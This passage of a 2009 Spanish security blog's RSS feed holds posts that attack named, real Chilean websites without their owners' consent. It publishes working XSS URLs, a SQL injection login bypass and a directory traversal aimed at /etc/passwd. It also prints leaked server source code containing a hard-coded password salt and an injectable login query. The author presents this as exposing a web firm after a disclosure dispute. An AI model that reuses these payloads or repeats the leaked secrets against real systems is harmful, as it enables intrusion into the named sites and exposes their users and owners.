			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/"  data-text="Vulnerabilidad en la mayoría de los plugins para WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>La vulnerabilidad Full Path Disclosure &#8230;</title>
		<link>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/</link>
		<comments>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 03:38:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=939</guid>
		<description><![CDATA[Según OWASP: Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. Según Acunetix: Description By [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-945" title="fpd" src="http://blog.zerial.org/wp-content/uploads/2009/09/fpd.png" alt="fpd" width="575" height="126" /></p>
<p>Según <a href="http://www.owasp.org/index.php/Full_Path_Disclosure" target="_blank">OWASP</a>:</p>
<blockquote><p>Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a <a title="SQL Injection" href="http://www.owasp.org/index.php/SQL_Injection">SQL Injection</a>) query to view the page source, require the attacker to have the full path to the file they wish to view.</p></blockquote>
<p>Según <a href="http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm" target="_blank">Acunetix</a>:</p>
<blockquote><p><strong>Description</strong><br />
By injecting unexpected data into a parameter. it&#8217;s possible to generate an error that will reveal the full path of the script.</p>
<p><strong>Impact</strong><br />
A remote user can determine the full path to the web root directory and other potentially sensitive information.</p></blockquote>
<p>Si bien esta vulnerabilidad no es peligrosa, es una ayuda para obtener información que nos permitirá a explotar otro tipo de vulnerabilidades como por ejemplo Local File Include, por ejemplo en el caso que <a href="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/" target="_blank">publiqué hace un tiempo del sitio de Veramonte</a>, en el cual la combiné con una Directory Traversal.</p>
<p><span id="more-939"></span></p>
<p>La clásica forma para lograr explotar esta vulnerabilidad es transformando las variables <em>sospechosas</em> pasadas por GET a arreglos, por ejemplo: http://sitio.com/index.php?module=login&amp;action=blabla → http://sitio.com/index.php?module[]=login&amp;action=blabla. Seguramente, si el sitio está mal desarrollado, lo que hará el sistema es intentar incluir el archivo &#8220;login&#8221;,&#8221;login.php&#8221;, &#8220;login.inc.php&#8221;, etc obteniendo el nombre del fichero desde la variable &#8220;module&#8221; y si esta variable es un arreglo, mostrará un error o un warning donde podremos ver el path completo del sitio.<br />
Otra forma muy común es, teniendo el mismo caso anterior, remplazar &#8220;login&#8221; por cualquier cosa: http://sitio.com/index.php?module=asioansiuabnasi&amp;action=blabla, entonces el sistema intentará incluir el fichero &#8220;asioansiuabnasi&#8221; y como no existe, pues mostraráun warning o error.</p>
<p>Este error nos puede otorgar información como el nombre de usuario, nombre del framework o del &#8220;sistema&#8221; que se está usando y ruta física donde se encuentra. Este método nos va a servir para buscar otras &#8220;puertas de entradas&#8221; al sitio web, por ejemlo mediante la dirección IP y el nombre de usuario: http://200.55.55.55/~usuario pudiendo generar otro tipo de errores o buscar otro tipo de vulnerabilidades.</p>
<p>Hace un tiempo descubrí un bug (hasta el momento no estaba reportado) en un plugin para WordPress muy usado, que me revela la ruta exácta de la instalación del CMS. Pronto escribiré algo al respecto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/"  data-text="La vulnerabilidad Full Path Disclosure &#8230;" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Empresas de hosting y diseño web al descubierto: GoldenData</title>
		<link>http://blog.zerial.org/seguridad/empresas-de-hosting-y-diseno-web-al-descubierto-goldendata/</link>
		<comments>http://blog.zerial.org/seguridad/empresas-de-hosting-y-diseno-web-al-descubierto-goldendata/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 01:13:49 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[Empresas de hosting y diseño web al descubierto]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[goldendata]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=914</guid>
		<description><![CDATA[Esta es mi tercer objetivo, la empresa Golden Data. Hace un tiempo escribí cosas relacionadas a esta empresa donde mostraba una serie de vulnerabilidades del tipo XSS y Full Path/File disclosure, entre otras. En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios [...]]]></description>
			<content:encoded><![CDATA[<p>Esta es mi tercer objetivo, la empresa <a href="http://goldendata.cl" target="_blank">Golden Data</a>. Hace un tiempo escribí <a href="http://blog.zerial.org/seguridad/goldendata-una-empresa-en-la-que-no-se-puede-confiar/" target="_blank">cosas relacionadas</a> a esta empresa donde mostraba una serie de vulnerabilidades del tipo XSS y Full Path/File disclosure, entre otras.</p>
<p style="text-align: center;"><img class="size-full wp-image-928 aligncenter" title="goldendata_exposed" src="http://blog.zerial.org/wp-content/uploads/2009/09/goldendata_exposed.png" alt="goldendata_exposed" width="228" height="132" /></p>
<p>En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios de clientes tenian graves vulnerabilidades, les dije exactamente que tipo de vulnerabilidades tenian y la forma de corregirlas. Luego de esto, la gente de GoldenData me preguntó si le podía hacer auditoría a otros sitios que tienen ellos &#8230; y yo, nada de tonto, le dije que si, pero como era un servicio que ellos me estaban pidiendo les cobraría mis horas hombre, luego de este último correo&#8230; la gente no se contactó nunca más conmigo&#8230; pues claro, querían que les hiciera auditoria gratis. Ahora me entero que la gente cambió totalmente el sitio web de su empresa pero no ha corregido los sitios de sus clientes. Esta véz no me centraré en GoldenData.cl, hablaré sobre los desarrollos que hacen ellos, es decir, sus clientes:</p>
<ul>
<li><a href="http://www.artpetit.cl/" target="_blank">http://www.artpetit.cl/</a><a></a></li>
<li><a href="http://www.videocity.cl/" target="_blank">http://www.videocity.cl/</a><a></a></li>
<li><a href="http://www.arapemaquetas.cl/" target="_blank">http://www.arapemaquetas.cl/</a><a></a></li>
<li><a href="http://www.questor.cl/" target="_blank">http://www.questor.cl/</a><a></a></li>
<li><a href="http://www.almendradec.cl/" target="_blank">http://www.almendradec.cl/</a><a></a></li>
<li><a href="http://www.kelsopro.cl/" target="_blank">http://www.kelsopro.cl/</a><a></a></li>
<li><a href="http://www.zanartu.cl/" target="_blank">http://www.zanartu.cl/</a><a></a></li>
<li><a href="http://www.riosycia.cl/" target="_blank">http://www.riosycia.cl/</a><a></a></li>
<li><a href="http://www.beeone.cl/" target="_blank">http://www.beeone.cl/</a><a></a></li>
</ul>
<p>Tampoco me desgastaré en algo que ya hice: Comunicarme con la empresa, ya que además de ser aprovechadores, no supieron dar la cara.</p>
<p><span id="more-914"></span></p>
<p>Antes de empezar hice un análisis rápido a todos los sitios para descartar los que no tengan vulnerabilidades a simple vista. Los sitios descartados son: beeone.cl, almendradec.cl, kelsopro.cl, zanartu.cl y questor.cl. Empezaré a analizar las restantes:</p>
<p>1- <strong><a href="http://www.artpetit.cl/" target="_blank">http://www.artpetit.cl/</a></strong><br />
Las URL sospechosas para realizar LFI, RFI y XSS son las siguientes:</p>
<ol>
<li>http://artpetit.cl/productos.php?categoria=Miniaturas</li>
<li>http://artpetit.cl/?pag=contactenos</li>
<li>http://artpetit.cl/?pag=contactenos&amp;codigo=009F2&amp;nombre=Oso%20en%20Balanc%EDn</li>
</ol>
<p>Si intentamos agregar un código como por ejemplo <em>&lt;script&gt;alert(object)&lt;/script&gt;</em> o cambiar el valor de la variable <em>pag</em> por algun path interno o externo (rfi, lfi) nos mostrara un mensaje que nos dirá: <strong>Not Acceptable.</strong></p>
<p>Por lo que, si bien parecen ser vulnerables, no lo son. Por otro lado, si transformamos la variable <em>pag</em> o <em>categoria</em> a un arreglo (<em>pag[]</em>) veremos que el nos imprime el valor del Array, lo que nos dice automáticamente que <strong>no está parseando los valores de entrada</strong>, el mensaje &#8220;Not Acceptable&#8221; es a nivel de servidor y no de aplicación. Este error no ses crítico y no compromete en absoluto la seguridad del sistema.</p>
<p><a href="http://artpetit.cl/productos.php?categoria[]=asdf" target="_blank">http://artpetit.cl/productos.php?categoria[]=asdf</a></p>
<p>2- <strong><a href="http://www.videocity.cl/" target="_blank">http://www.videocity.cl/</a></strong><br />
Si navegamos por el menú podremos ver una url como <em>http://www.videocity.cl/#vitrina.php?dpto=Audio</em>, lo primero que se nos ocurrirá es cambiar el valor de la variable <em>dpto</em> pero veremos que no tiene ningún resultado, la página se sigue viendo exáctamente igual. El truco es el siguiente: Remover el símbolo &#8220;#&#8221; y dejar la URL de la siguiente forma:</p>
<p><a href="http://www.videocity.cl/vitrina.php?dpto=Audio" target="_blank">http://www.videocity.cl/vitrina.php?dpto=&lt;script&gt;alert(this)&lt;/script&gt;</a> y veremos que nos va a mostrar el alert. Con esto demostramos que este sitio es vulnerable a XSS, pudiendo insertar un iframe para realizar phishing o usar el sitio para cualquier cosa que nos imaginemos.<br />
Podemos intentar el mismo <em>truco</em> para otras url donde se almacenen los id o secciones. Este sitio tiene el mismo error que el anterior al transformar alguna variable a Array.</p>
<p>3- <strong><a href="http://www.arapemaquetas.cl/" target="_blank">http://www.arapemaquetas.cl/</a></strong><br />
Si intentamos hacer XSS a las URL del menú nos encontraremos con el mismo error que en el primer caso: Not acceptable. Sin embargo, la técnica de transformar la variable en un array nos permitirá saber el path del sitio dentro del sistema. A esto se le llama <strong>Full Path Disclosure</strong>.<br />
La URL es:</p>
<p><a href="http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura" target="_blank">http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura</a></p>
<p>Obtendremos un resultado como:</p>
<blockquote><p><strong>Warning</strong>:  include(htmls/array.html) [<a href="http://www.arapemaquetas.cl/function.include">function.include</a>]: failed to open stream: No such file or directory in <strong>/home/arapemaq/public_html/maquetas.php</strong> on line <strong>18</strong></p>
<p><strong>Warning</strong>:  include(htmls/array.html) [<a href="http://www.arapemaquetas.cl/function.include">function.include</a>]: failed to open stream: No such file or directory in <strong>/home/arapemaq/public_html/maquetas.php</strong> on line <strong>18</strong></p>
<p><strong>Warning</strong>:  include() [<a href="http://www.arapemaquetas.cl/function.include">function.include</a>]: Failed opening &#8216;htmls/array.html&#8217; for inclusion (include_path=&#8217;.:/usr/lib/php:/usr/local/lib/php&#8217;) in <strong>/home/arapemaq/public_html/maquetas.php</strong> on line <strong>18</strong></p></blockquote>
<p>4- <strong><a href="http://www.riosycia.cl/" target="_blank">http://www.riosycia.cl/</a></strong><br />
Este sitio es vulnerable a XSS mediante la siguiente URL:</p>
<p><a href="http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E" target="_blank">http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E</a></p>
<p>Si recorremos los distintos links del sitio podremos encontrar la ruta a un fichero llamado clave.php:</p>
<p><a href="http://www.riosycia.cl/aplicaciones/clave.php" target="_blank">http://www.riosycia.cl/aplicaciones/clave.php</a></p>
<p>Si ingresamos un correo cualquiera nos dirá que no está en la base de datos, sin embargo, si ingresamos el comodín</p>
<p>&#8216; or &#8217;1&#8242;=&#8217;1</p>
<p>Nos dirá que el correo fue enviado a esa dirección. Lo que nos <strong>comprueba</strong> que ese formulario es vulnerable a <strong>SQL Injnection</strong>.</p>
<p><strong>Vulnerabilidades detectadas:</strong> Full Path Disclosure, SQL Injection, XSS.<br />
<strong>Alcance de las vulnerabilidades:</strong> Uso del sitio para hacer phishing y, mediante SQLi tener una infinidad de opciones para realizar ataques, incluyendo un D-o-S.<br />
<strong>Errores detectados:</strong> Parametros de entrada sin filtros.</p>
<p>Como conclusión podemos decir que estas personas no  dedican tiempo al tema de la seguridad ya que los sitios que no eran vulnerables es porque son sitios estáticos <span style="text-decoration: line-through;">y feos</span> y aquellos que al intentar <em>violarlos</em> aparecia el menasje de &#8220;Not Acceptable&#8221; es porque el servidor donde esa empresa tenia alojada el sitio web estaba protegido. Esto último explica el hecho de que los sitios hechos de la misma forma funcionen en un servidor y en otros no.</p>
<p>Por lo tanto, <strong>NO</strong> recomiendo esta empresa.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fempresas-de-hosting-y-diseno-web-al-descubierto-goldendata%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/empresas-de-hosting-y-diseno-web-al-descubierto-goldendata/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/empresas-de-hosting-y-diseno-web-al-descubierto-goldendata/"  data-text="Empresas de hosting y diseño web al descubierto: GoldenData" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/empresas-de-hosting-y-diseno-web-al-descubierto-goldendata/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal</title>
		<link>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/</link>
		<comments>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 00:35:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=770</guid>
		<description><![CDATA[Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete [...]]]></description>
			<content:encoded><![CDATA[<p>Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es <strong>sólo</strong> con fines <em>educativos</em>, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan <span style="text-decoration: line-through;">estúpidas</span> comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/08/directory-trans.jpg" alt="directory-trans" title="directory-trans" width="200" height="192" class="aligncenter size-full wp-image-778" /></p>
<p>Habien dicho todo esto, llego el momento de la acción. <strong>Wanna rock?</strong></p>
<p><span id="more-770"></span></p>
<p>El sitio que usaremos será el de <a href="http://www.veramonte.cl" target="_blank">Veramonte</a> y las vulnerabilidades que <span style="text-decoration: line-through;">explotaré</span> enseñaré son <strong>Full Path Disclosure</strong> y <strong>Directory Transversal</strong> (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).<br />
Como primer paso, ingresaremos al sitio <a href="http://www.veramonte.cl" target="_blank">http://www.veramonte.cl</a> y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:</p>
<p><a href="http://www.veramonte.cl/archivo/archivo2.php?cat=bodega" target="_blank">http://www.veramonte.cl/archivo/archivo2.php?cat=bodega</a></p>
<p>Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=">http://www.veramonte.cl/admin/download.php?path=</a></p>
<p>Mis ojos se dirigieron directamente a la variable &#8220;path&#8221; y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;path&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=<span class="es0">\&quot;</span>$f<span class="es0">\&quot;</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$fp</span>=<a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;$f&quot;</span>, <span class="st0">&quot;r&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/fpassthru"><span class="kw3">fpassthru</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un <em>path disclosure</em> introduciendo una ruta inválida, por ejemplo:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=asdfgh">http://www.veramonte.cl/admin/download.php?path=asdfgh</a><br />
Nos encontramos que php nos muestra el siguiente error:</p>
<blockquote><p><strong>Warning</strong>:  fopen(asdfg) [<a href="function.fopen">function.fopen</a>]: failed to open stream: No such file or directory in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>5</strong></p>
<p><strong>Warning</strong>:  fpassthru(): supplied argument is not a valid stream resource in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>6</strong></p></blockquote>
<p>Con esto ya tenemos el <em>full path</em> al descubierto: /var/www/veramonte/html.<br />
La cosa acá se pone divertida, descarguemonos el /etc/passwd:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd" target="_blank">http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd</a><br />
Nos encontramos con la sorpresa de que el servidor está &#8220;protegido&#8221;:</p>
<p style="text-align: center;"><img class="size-full wp-image-774 aligncenter" title="veramonte-1" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-1.png" alt="veramonte-1" width="498" height="127" /></p>
<p>Pero no importa, aún podemos seguir jugando. Descargamos el <em>index.php</em> para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.</p>
<p>Lo único que podemos rescatar el index es lo siguiente (código php):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">//Conecta a BD testing</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;config/conex.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;libreria/funciones.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//$conect = Conectarse();</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/session_start"><span class="kw3">session_start</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$secure</span> = <span class="st0">&#8216;%4f#.$$FUCK%%rt!89&#8242;</span>;&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;enviar&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;charkikan&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;cazuela&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span>&nbsp; &nbsp; &nbsp; &nbsp;= <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$username</span> . <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$password</span><span class="br0">&#41;</span> . <span class="re0">$secure</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//echo $username.&quot; &#8211; &quot;.$password;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql_users</span> = <span class="st0">&quot;SELECT * FROM v_usuarios WHERE username = &#8216;&quot;</span>.<span class="re0">$username</span>.<span class="st0">&quot;&#8217; AND password = &#8216;&quot;</span>.<span class="re0">$password</span>.<span class="st0">&quot;&#8217;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//echo $sql_users;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$resultado</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$valor</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$resultado</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;ON&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;nombre_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;apellido_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;privilegio_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;script&gt;window.location=<span class="es0">\&quot;</span>admin.php<span class="es0">\&quot;</span>;&lt;/script&gt;&quot;</span>;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;meta HTTP-EQUIV=<span class="es0">\&quot;</span>Refresh<span class="es0">\&quot;</span> CONTENT=<span class="es0">\&quot;</span>10;URL=index.php<span class="es0">\&quot;</span>&gt;&quot;</span>; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span>&lt;/meta&gt;</div>
</li>
</ol>
</div>
